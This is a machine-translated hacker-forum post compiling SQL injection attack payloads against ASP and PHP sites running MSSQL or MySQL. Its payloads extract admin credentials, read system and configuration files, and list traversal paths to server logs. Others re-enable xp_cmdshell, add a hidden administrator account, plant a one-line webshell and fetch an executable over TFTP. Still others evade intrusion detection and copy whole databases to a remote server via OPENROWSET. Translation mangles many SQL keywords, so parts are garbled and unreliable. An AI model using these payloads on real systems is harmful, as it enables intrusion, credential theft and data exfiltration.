Cet article est un article miroir de traduction automatique, veuillez cliquer ici pour accéder à l’article original.

Vue: 20889|Répondre: 2

[Communication sécurisée] Livre d’injection SQL - Vulnérabilité ASP Injection Full Contact

[Copié le lien]
Publié sur 28/09/2015 18:21:41 | | |


Requêtes MSSQL multi-bases de données (nourriture puante !) Sombre)

Extraire chaque goutte de MS SQL

Les références d’instructions SQL et les objets de relevé sont expliqués en détail

À propos des procédures stockées dans SQL Server

Créez un webshell avec une sauvegarde mssql

SQL_Injection applications avancées

Injection SQL cross-site (laokai)

Injection SQL étrange (AMANL)

Injection SQL avancée dans les applications SQL Server

Comment utiliser l’injection SQL pour parcourir des répertoires

Solution de passage des techniques d’injection SQL (Traducteur : demonalex)

Quelques attaques contre les bases de données SQL

Technique d’attaque par injection SQL (JSW)

SQL_Injection Applications avancées (APACHY)

Méthodes peu communes d’injection SQL (Guilin Veteran)

Sauvegarder un shell

Parlez de la structure de l’instruction d’injection php+mysql (Heyhehehehe·≯Super· Hei)

Injection SQL avancée avec MySQL(angel)

L’injection (My)SQL via PHP

Langage Oracle SQL

Encyclopédie d’injection manuelle SQL

Les prérequis nécessitent des outils : SQL Query Analyzer et SqlExec Sunx Version
==============================================================================================
1. Déterminer s’il existe un point d’injection
; et 1=1 et 1=2
2. Suppose que le nom du tableau n’est rien d’autre qu’administrateur administrateur utilisateur mot de passe, etc. :
et 0<>(select count(*) from *)
et 0<>(select count(*) depuis admin) — Déterminer si la table admin existe
3. Devinez le nombre de comptes Si vous rencontrez 0< retournez à la bonne page 1< retournez la page d’erreur indiquant que le nombre de comptes est 1
et 0<(select count(*) depuis admin)
et 1<(select count(*) depuis admin)
4. Devinez le nom du champ Ajoutez le nom du champ auquel nous pensons entre parenthèses len( ).
et 1=(select count(*) from admin où len(*)>0)–
et 1=(sélectionner le compte(*) depuis l’admin où len(nom de champ utilisateur)>0)
et 1=(sélectionner le compte(*) de l’admin où len(_blank>nom du champ mot de passe)>0)
5. Deviner la longueur de chaque champ Deviner la longueur est de transformer >0 jusqu’à ce que la bonne page soit retournée
et 1=(select count(*) from admin où len(*)>0)
et 1=(select count(*) depuis admin où erreur len(name)>6)
et 1=(sélectionner le compte(*) depuis admin où len(name)>5) La longueur correcte est 6
et 1=(select count(*) from admin où len(name)=6) est correct
et 1=(select count(*) depuis admin où len(password)>11) est correct
et 1=(select count(*) depuis admin où la longueur de l’erreur len(password)>12) est 12
et 1=(select count(*) from admin où len(password)=12) est correct
6. Devinez les caractères
et 1=(sélectionner le compte(*) depuis admin où left(name,1)=a) — Deviner le premier chiffre du compte de l’utilisateur
et 1=(select count(*) depuis admin où left(name,2)=ab)—Devinez le deuxième chiffre du compte utilisateur
Il suffit d’ajouter un caractère à la fois pour deviner, de deviner autant de chiffres que vous venez de deviner, et le numéro de compte sortira
(1) Devinez le nom de la table

Phrases utilisées :
et existe (sélectionner * dans le nom du tableau)

Par exemple:
et existe (sélectionner * depuis admin)

Si la page fait un écho correct, cela signifie que le nom du tableau que nous avons deviné ici est correct, et si la page est incorrecte, cela signifie que le nom du tableau que nous avons écrit ici est incorrect

, puis changez le nom du tableau et continuez à deviner jusqu’à ce que vous deviniez.

En général, les noms de tables couramment utilisés incluent admin, gestion, user, ou « l’intégrer dans l’exécution de l’outil »
(2) Devinez le champ

Phrases utilisées :
et existe (sélectionner le nom du champ à partir du nom du tableau)

Par exemple:
et existe (sélectionner le nom d’utilisateur de l’admin)

Ici, en supposant que la table admin soit celle que j’ai devinée correctement ci-dessus, je veux déterminer si le champ nom d’utilisateur existe, je dois utiliser cette phrase, si la page

Si l’écho de la face est correct, cela signifie que le nom du champ que nous avons deviné ici est correct, et si la page est incorrecte, cela signifie que le nom du champ que nous avons écrit ici est incorrect

, puis changez le nom du champ et continuez à deviner jusqu’à deviner.

En général, les noms de champs courants incluent nom d’utilisateur, mot de passe, utilisateur, passe, nom, pass, pwd, usr, psd, et d’autres champs
(3) ordre par

Ordre par est d’obtenir la somme du nombre de champs sur cette page, en préparant la requête conjointe suivante
(4) Union Select

  1. Si vous supportez la requête conjointe, trouvez le bit d’affichage http://www.xxx.com/product_show.asp?id=1 et la sélection de l’union 1=2

1,2,3,4,5,6,7,8,9,10,11
Supposons que les bits d’affichage soient 5,6. Ensuite, il suffit de remplacer les noms de champs correspondant au nom d’utilisateur et au mot de passe de l’administrateur par la position du bit d’affichage ici
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 de l’admin a trouvé la connexion en arrière-plan
  2. Si la requête conjointe n’est pas prise en charge
Le nom d’utilisateur et le mot de passe de l’administrateur ne peuvent pas être obtenus sans requête conjointe - en utilisant un décodage mot à mot par Ascii
Deux
  Utilisez l’ordre par pour juger le nombre de bits dans la table, et si cela ne fonctionne pas, utilisez l’union select pour les organiser un par un, ici on suppose 8 bits
Trois
  Utilisez une requête conjointe pour déterminer les bits d’affichage
Quatre
  Utilisez le bit d’affichage pour trouver le nom de la base de données, la version 5.0 ou supérieure peut être injectée
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,utilisateur(),0x5c,
version(),8
Cinq
  Avec le nom de la base de données, vous pouvez commencer à obtenir le schéma du nom de la table = suivi de la valeur HEX du nom de la base de données, et deviner le nom de la table
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+de+information_schema.colonnes+où+
table_schema=0x666C6965725F6462617365
Six
  Le nom de la table analysée détermine la valeur HEX du nom de la table de l’administrateur=nom de table, et devine les champs de la table
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+column_name),8+
from+information_schema.colonnes+où+table_name=0x7075625F7765626D6173746572
Sept
  Après avoir obtenu les champs dans la table d’administration, voyons le contenu des champs
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+nom d’utilisateur,
0x5f,userpwd),8+de+pub_webmaster
Huit
  L’outil scanne l’arrière-plan : Connectez-vous pour télécharger le cheval de Troie après l’avoir trouvé, et si vous ne trouvez pas le fichier robots.txt, vous pouvez y accéder
Neuf
  Si vous ne trouvez pas l’arrière-plan, le mot de passe de l’administrateur MYSQL sera révélé
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(utilisateur,mot de passe),8+de+mysql.utilisateur
Dix
  Accéder aléatoirement à un chemin, et le retour d’information est la page par défaut 404 d’IIS6, indiquant que le serveur web est : Windows+IIS6+php+environnement MySql
  c :\\Windows\\system32\\inetsrv\\\MetaBase.xml Ce chemin peut obtenir les informations de configuration du site web.
  Énoncés constructifs http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Onze
  Analysez le code et trouvez l’adresse en arrière-plan
  À la première étape, nous devons obtenir la longueur des champs dans la table
Énoncés utilisés :
et (sélectionnez le top 1 de la lentille (nom du champ) dans le nom du tableau)>0
Comme quoi:
et (sélectionnez le premier 1 lent (admin_name) dans admin)>0
La page est affichée normalement, la longueur du champ admin_name est supérieure à 0, et je vais soumettre :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
La page affiche une erreur indiquant que le champ est entre 0 et 10, et la longueur est 5 selon la dichotomie
En utilisant la même méthode pour déterminer la longueur du champ du mot de passe de l’administrateur, j’obtiens une longueur de 16
  Étape 2
Passons maintenant à la deuxième étape : prenez un certain caractère dans le champ, et obtenons le code ASCII du caractère, qui est utilisé

Déclaration :
et (sélectionnez top 1 asc(milieu (nom du terrain, N,1)) dans le nom du table)>0
Laissez-moi examiner cette phrase séparément, d’abord, la fonction mid la plus interne (nom d’utilisateur, 1,1), qui est le premier caractère du champ admin_name, N

indique que les premiers caractères doivent être interceptés,
Ensuite, la fonction asc() extérieure, qui convertit les caractères interceptés par la fonction intermédiaire en code ASCII, le top 1 le plus externe, représente le champ de retour du premier

Un record, donc,
Le « >0 » à la fin sert à comparer le code ASCII converti avec ce chiffre, et finalement obtenir l’interception en changeant constamment la dernière valeur

Obtenez les spécificités de ce personnage
Code ASCII
Soumission :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
La page est affichée normalement, indiquant que le code ASCII de ce caractère est supérieur à 30.
Soumission :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
La page est affichée normalement, indiquant que le code ASCII de ce caractère est supérieur à 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Le code ASCII que j’ai obtenu pour ce personnage est 97
Comparez le tableau ASCII :
On peut conclure que le premier caractère est « a ».
Ensuite, je jugerai le code ASCII du second caractère.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
La page est affichée normalement, indiquant que le code ASCII du caractère est supérieur à 90, et que la dernière valeur est toujours modifiée
La même méthode a donné le mot de passe de l’administrateur, et le résultat que j’ai obtenu était :
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
et 1=(sélectionner le top 1 count(*) depuis Admin où Asc(mid(pass,5,1))=51) –
Cette requête peut deviner l’utilisateur chinois et _blank> mot de passe. Il suffit de remplacer les chiffres suivants par le code ASSIC chinois

Convertir en caractères.

groupe par users.id ayant 1=1–www.myhack58.com
Groupe par users.id, user.username, users.password, users.privs ayant 1=1–
; insérer dans les utilisateurs des valeurs ( 666, attaquant, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLONNES Où

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLONNES Où

TABLE_blank>_NAME=logintable Là où COLUMN_blank>_NAME NON IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME DE INFORMATION_blank>_SCHEMA. COLONNES Où

TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN

(login_blank>_id login_blank>_name)-
UNION Sélectionner le Top 1 login_blank>_name DEPUIS logintable-
UNION Sélectionner le mot de passe TOP 1 DEPUIS logintable où login_blank>_name=Rahul–
Regardez le patch joué par le serveur _blank> = mauvais patch SP4 filet de sécurité à barre noire
et 1=(sélectionner @@VERSION)–

Regardez les permissions du compte de connexion _blank> base de données, et il revient normal, prouvant qu’il s’agit de l’autorisation sysadmin du rôle _blank> serveur.
et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(sysadmin))–

Déterminez le compte de base de données _blank> connecté. (Utiliser le compte SA pour connecter et retourner normal = prouver que le compte connecté est SA)
et sa=(Sélectionner System_blank>_user)–
et user_blank>_name()=dbo–
et 0<>(select user_blank>_name()–

Voyez si xp_blank>_cmdshell supprimez
et 1=(Sélectionner le compte(*) DE master.dbo.sysobjects Où xtype = X ET nom = xp_blank>_cmdshell)



xp_blank>_cmdshell est supprimé, restauré et prend en charge la récupération absolue du chemin
; EXÉCUTIF master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXÉCUTIF master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c :\inetpub\wwwroot\xplog70.dll–
============================== autorisation de base de données est exposée au code de chemin physique du site web

==========================================================================
1. table de déplacement [jm_tmp] ; Create Table [jm_tmp](Value Navrchar(4000) null,data nvarchar(4000)

null) -- Créer une table


2、 supprimer [jm_tmp] ; insérer [jm_tmp] exécutif master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Insérez le répertoire du site dans le champ tableau


3、and (sélectionner le top 1 cast([data] en tant que nvarchar(4000) char(124) dans l’ordre [jm_tmp] par [data]

desc)=0 '//Champ exposé


4. Tableau de débarquement [jm_tmp] -- Supprime ce tableau.
pour que le commandement obtienne la coque
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d : Autres voies de la station
======================load_file() Informations sensibles couramment utilisées ===========================================
1、 remplacer(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
Les deux ci-dessus servent à consulter un fichier PHP qui affiche entièrement le code. Il arrive que certains caractères ne soient pas remplacés, comme « < » au lieu de « space » qui revient

Page web. Et le code ne peut pas être consulté.

3. load_file(char(47)) peut lister le répertoire racine des systèmes FreeBSD et Sunos

4. Consultez le fichier de configuration de l’hôte virtuel Linux APACHE dans /etc/httpd/conf/httpd.conf ou /usr/local/apche/conf/httpd.conf

5. C :\Program Files\Apache Group\Apache\conf\httpd.conf ou C :\apache\conf\httpd.conf pour voir WINDOWS

Fichier Apache système

6. c :/Resin-3.0.14/conf/resin.conf Consultez les informations de configuration des fichiers résine du site développé par jsp.

7. c :/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf pour consulter l’hôte virtuel JSP configuré sur le système Linux

8、d :\APACHE\Apache2\conf\httpd.conf

9、C :\Program Files\mysql\my.ini

10、.. /thèmes/darkblue_orange/layout.inc.php phpmyadmin explose path

11. C :\Windows\system32\inetsrv\MetaBase.xml Consultez le fichier de configuration de l’hôte virtuel d’IIS

12. /usr/local/resin-3.0.22/conf/resin.conf pour consulter le fichier de configuration RESIN pour la version 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Comme ci-dessus

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Hébergeur virtuel APASHE

15. /etc/sysconfig/iptables dépend de la politique du pare-feu

16. /usr/local/app/php5 avec php.ini paramètres équivalents à PHP

17. fichier de configuration MYSQL de /etc/my.cnf

18. /etc/version version du Red Hat à la sortie du système Redhat

19 、C :\mysql\data\mysql\user. MYD existe dans le mot de passe utilisateur du système MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 pour voir l’IP.

21. /usr/local/app/php5 b/php.ini //paramètres liés à PHP

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // paramètres du site web virtuel

23、c :\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c :\windows\my.ini

25. /etc/issue affiche les informations de distribution du noyau Linux

26、/etc/ftpuser

27. Vérifiez le fichier journal d’opération sous LINUX user.bash_history ou .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/bûches/error.log
.. /apache/bûches/access.log
.. /.. /apache/bûches/error.log
.. /.. /apache/bûches/access.log
.. /.. /.. /apache/bûches/error.log
.. /.. /.. /apache/bûches/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/bûches/error.log     
.. /apache/bûches/access.log
.. /.. /apache/bûches/error.log
.. /.. /apache/bûches/access.log
.. /.. /.. /apache/bûches/error.log
.. /.. /.. /apache/bûches/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Faites vous-même une expérience PING inversée
; utiliser maître ; déclarer @s int ; exec sp_blank>_oacreate « wscrip{filter}t.shell », @s out ; Exécutif

sp_blank>_oamethod @s,"run »,NULL,"cmd.exe /c ping 192.168.0.1 » ; –

Ajouter un compte
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C :\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Créer un répertoire virtuel E-disk :
; déclare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c :\inetpub\wwwroot\mkwebdir.vbs -w « default website » -v « e »,"e :\"–

Attributs d’accès : (avec écriture sur un webshell)
déclare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c :\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Astuce spéciale _blank> pour burster la bibliothèque : :%5c=\ ou modifier %5 avec / et \ pour valider
et 0<>(sélectionner les chemins top 1 dans la nouvelle table)–

Obtenez le nom de la base de données (de 1 à 5 sont les identifiants du système, et vous pouvez les juger au-dessus de 6)
et 1=(sélectionner le nom de master.dbo.sysdatabases où dbid=7)–
et 0<>(select count(*) from master.dbo.sysdatabases où name>1 et dbid=6)
Soumettre dbid à tour de rôle = 7,8,9.... Obtenez plus de noms _blank> bases de données

et 0<>(sélectionnez le nom top 1 depuis bbs.dbo.sysobjects où xtype=U) apparaissent dans une table en supposant admin
et 0<>(sélectionnez le nom du top 1 depuis bbs.dbo.sysobjects où xtype=vous et nom non dans (Admin)).

D’autres tables.
et 0<>(select count(*) from bbs.dbo.sysobjects où xtype=you et name=admin
et uid>(str(id))) La valeur numérique de l’UID est supposée être 18779569 uid=id
et 0<>(sélectionner le nom du top 1 depuis bbs.dbo.syscolumns où id=18779569) obtient un champ admin, false

Réglé sur user_blank>_id
et 0<>(sélectionnez le nom top 1 de bbs.dbo.syscolumns où id=18779569 et name non inclus
(id,...)) pour exposer d’autres domaines
et 0<(sélectionnez user_blank>_id depuis BBS.dbo.admin où username>1) pour obtenir le nom d’utilisateur
En retour, vous pouvez obtenir _blank> mot de passe。。。。。 Supposons qu’il existe des champs comme user_blank>_id nom d’utilisateur, mot de passe, etc

et 0<>(select count(*) from master.dbo.sysdatabases où name>1 et dbid=6)
et 0<>(sélectionner le nom du top 1 à partir de bbs.dbo.sysobjects où xtype=U) pour obtenir le nom de la table
et 0<>(sélectionnez le nom top 1 de bbs.dbo.sysobjects où xtype=vous et nom non in(Adresse))
et 0<>(select count(*) from bbs.dbo.sysobjects où xtype=you et name=admin et uid>(str(id)))

Déterminer la valeur de l’id
et 0<>(sélectionner le nom top 1 de BBS.dbo.syscolumns où id=773577794) tous les champs

?id=-1 sélection union 1,2,3,4,5,6,7,8,9,10,11,12,13,* depuis admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 depuis admin (union,access est aussi facile à utiliser)

Obtenez le chemin WEB
; Créer une table [DBO]. [échange] ([swappass][char](255)) ; –
et (sélectionner le top 1 swappass de swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Déclare @test varchar(20) exec

maître... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTÈME

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT insérer dans les valeurs de chemins(chemin) (@test)–
; utiliser KU1 ; –
; Create Table CMD (image STR) ; – Créer un cmd de table du type d’image
1. La façon de supprimer le processus d’extension xp_cmdshell est d’utiliser l’instruction suivante :

if existe (sélectionnez * dans dbo.sysobjects où id=object_id(N'[dbo].[ xpcmdshell]') et

OBJECTPROPERTY(id,N’IsExtendedProc')=1)
exécutif sp_dropextendedproc N'[dbo]. [xp_cmdshell] »

2. La façon d’ajouter xp_cmdshell processus d’extension est d’utiliser l’instruction suivante :

(1) Analyseur de requêtes SQL

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) D’abord, remplir les pourcentages dans l’option Format de SqlExec Sunx Version et saisir dans l’option CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

Retirer

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Il existe xp_blank>_cmdshell processus de test :
; Maître exécutif... xp_blank>_cmdshell dire
; exécutif master.dbo.sp_blank>_addlogin jiaoniang$ ; – Ajouter des comptes SQL
; exécutif master.dbo.sp_blank>_password null, jiaoniang$, 1866574 ; –
; exécutif master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin ; –
; exécutif master.dbo.xp_blank>_cmdshell utilisateur net jiaoniang$ 1866574 /workstations :* /times :all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exécutif master.dbo.xp_blank>_cmdshell NET localgroup administrators jiaoniang$ /add ; –
Maître exécutif... xp_blank>_servicecontrol début, planifiez le début _blank> service
Maître exécutif... xp_blank>_servicecontrol début, serveur
; DÉCLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C :\WINNT\system32\cmd.exe /c NET user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C :\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Maître exécutif... xp_blank>_cmdshell tftp - i youip get file.exe – Téléverser des fichiers en utilisant TFTP

; déclare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c :\
; Déclare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c :\
; déclarer @a ; ensemble @a=db_blank>_name() ; sauvegarde de la base de données @a sur disque = votre IP Votre répertoire partagé bak.dat
Si c’est restreint, oui.
sélectionner * depuis OpenRowSet(_blank>sqloledb,serveur ; SA ; ,sélectionne OK ! Exécutif

master.dbo.sp_blank>_addlogin hax)

Structure de requête :
Sélectionner * DE nouvelles Où id=... ET sujet=... ET .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1)

et userpass <>
sélectionner 123 ; –
; utiliser maître ; –
:a ou nom comme fff % ; – Affiche un utilisateur nommé ffff.
et 1<>(select count(email) depuis [utilisateur]) ; –
; mise à jour [users] définir email=(sélectionner le nom top 1 dans sysobjects où xtype=vous et status>0) où

nom=ffff ; –
; mise à jour [utilisateurs] définir email=(sélectionner l’identifiant top 1 dans sysobjects où xtype=you et name=ad) où

nom=ffff ; –
; mise à jour [utilisateurs] définir email=(sélectionner le nom top 1 parmi sysobjects où xtype=vous et id>581577110)

où name=ffff ; –
; mise à jour [utilisateurs] définir email=(sélectionner top 1 count(id) à partir du mot de passe) où nom=ffff ; –
; mise à jour [utilisateurs] définir email=(sélectionner le premier 1 pwd à partir du mot de passe où id=2) où nom=ffff ; –
; mise à jour [utilisateurs] définir email=(sélectionner le nom principal 1 du mot de passe où id=2) où nom=ffff ; –
La déclaration ci-dessus est d’obtenir la première table utilisateur dans la base de données _blank> et de mettre le nom de la table dans le champ email de l’utilisateur ffff.
En consultant le profil utilisateur de ffff, vous pouvez obtenir le premier tableau appelé AD
Ensuite, obtenez l’ID de cette table selon le nom de la table et la publicité pour obtenir le nom de la deuxième table

insérer dans les valeurs utilisateur( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insérer dans les valeurs utilisateurs (667,123,123,0xffff)–
insérer dans les utilisateurs les valeurs (123, admin–, mot de passe, 0xffff)–
; et utilisateur>0
; et (select count(*) from sysobjects)>0
; et (select count(*) from mysysobjects)>0 // pour la base de données access_blank>

Énumérer le nom de la table de données
; mettre à jour aaa set aaa=(sélectionner le nom top 1 parmi sysobjects où xtype=you et status>0) ; –
C’est là que le premier nom de tableau est mis à jour pour le domaine AAA.
Lisez le premier tableau, et le second tableau peut se lire ainsi (ajoutez et nomme après la condition<> le nom du tableau que vous venez d’obtenir).
; mettre à jour aaa set aaa=(sélectionner le nom top 1 à partir des sysobjects où xtype=you et status>0 et

nom<>vote) ; –
Alors id=1552 et existe (sélectionner * depuis aaa où aaa>5)
Lisez le deuxième tableau et lisez-le un par un jusqu’à ce qu’il n’y en ait plus.
Le champ de lecture ressemble à ceci :
; mise à jour aaa set aaa=(sélectionner top 1 col_blank>_name(object_blank>_id(nom du tableau), 1)) ; –
Alors id=152 et exists (select * from aaa où aaa>5) reçoit une erreur et obtient le nom du champ
; mettre à jour aaa set aaa=(sélectionner top 1 col_blank>_name(object_blank>_id(nom du table),2)) ; –
Alors id=152 et exists (select * from aaa où aaa>5) reçoit une erreur et obtient le nom du champ

[Obtenir le nom de la table de données] [Mettez à jour la valeur du champ avec le nom de la table, puis lisez la valeur de ce champ pour obtenir le nom de la table]
mettre à jour table name set=(sélectionner le nom top 1 à partir des sysobjects où xtype=you et status>0 [ et nom<>

Le nom de la table que vous obtenez : Trouver un plus un]) [où condition] sélectionnez le nom top 1 à partir des sysobjects où xtype=vous et

Statut>0 et nom non inclus (table1,table2,...)
Créer un compte administrateur de base de données et un compte administrateur système _blank> _blank> injection de vulnérabilités via SQLSERVER [Le compte courant doit être le groupe SYSADMIN]

[Obtenir le nom du champ Datatable] [Mettez à jour la valeur du champ avec le nom du champ, puis lisez la valeur de ce champ pour obtenir le nom du champ]
Mettre à jour le nom de la table Champ=(sélectionner Top 1 col_blank>_name(object_blank>_id (nom de la table de données à requête), colonne de champ

Par exemple : 1) [où la condition]

Contourner la détection IDS [En utilisant des variables]
; déclare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c :\
; Déclare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c :\

1. Ouvrir la base de données de _blank> distante
Syntaxe de base
select * from OPENROWSET(SQLOLEDB, server=nameserver ; UID=SA ; pwd=123, sélectionner * dans le tableau1 )
Paramètres : (1) Nom du fournisseur OLEDB
2. Le paramètre de la chaîne de connexion peut être n’importe quel port à connecter, comme
select * from OPENROWSET(SQLOLEDB, uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,

sélectionner * dans le tableau
3. Copier l’intégralité de la base de données _blank> de l’hôte cible et insérer toutes les tables distantes dans la table locale.

Syntaxe de base :
insérer dans OPENROWSET(SQLOLEDB, server=nomserveur ; UID=SA ; pwd=123, sélectionner * dans le table1) sélectionner

* extrait du tableau 2
Cette instruction ligne copie toutes les données de la table table2 sur l’hôte cible vers la table table1 dans la base de données _blank> distante. Réparations appropriées dans une application pratique

Changez l’adresse IP et le port de la chaîne de connexion pour qu’ils pointent là où vous en avez besoin, par exemple :
insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select

* du tableau1) sélectionner * du tableau2
insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select

* de _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select

* de _blank>_sysobjects)
select * depuis user_blank>_database.dbo.sysobjects
insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select

* de _blank>_syscolumns)
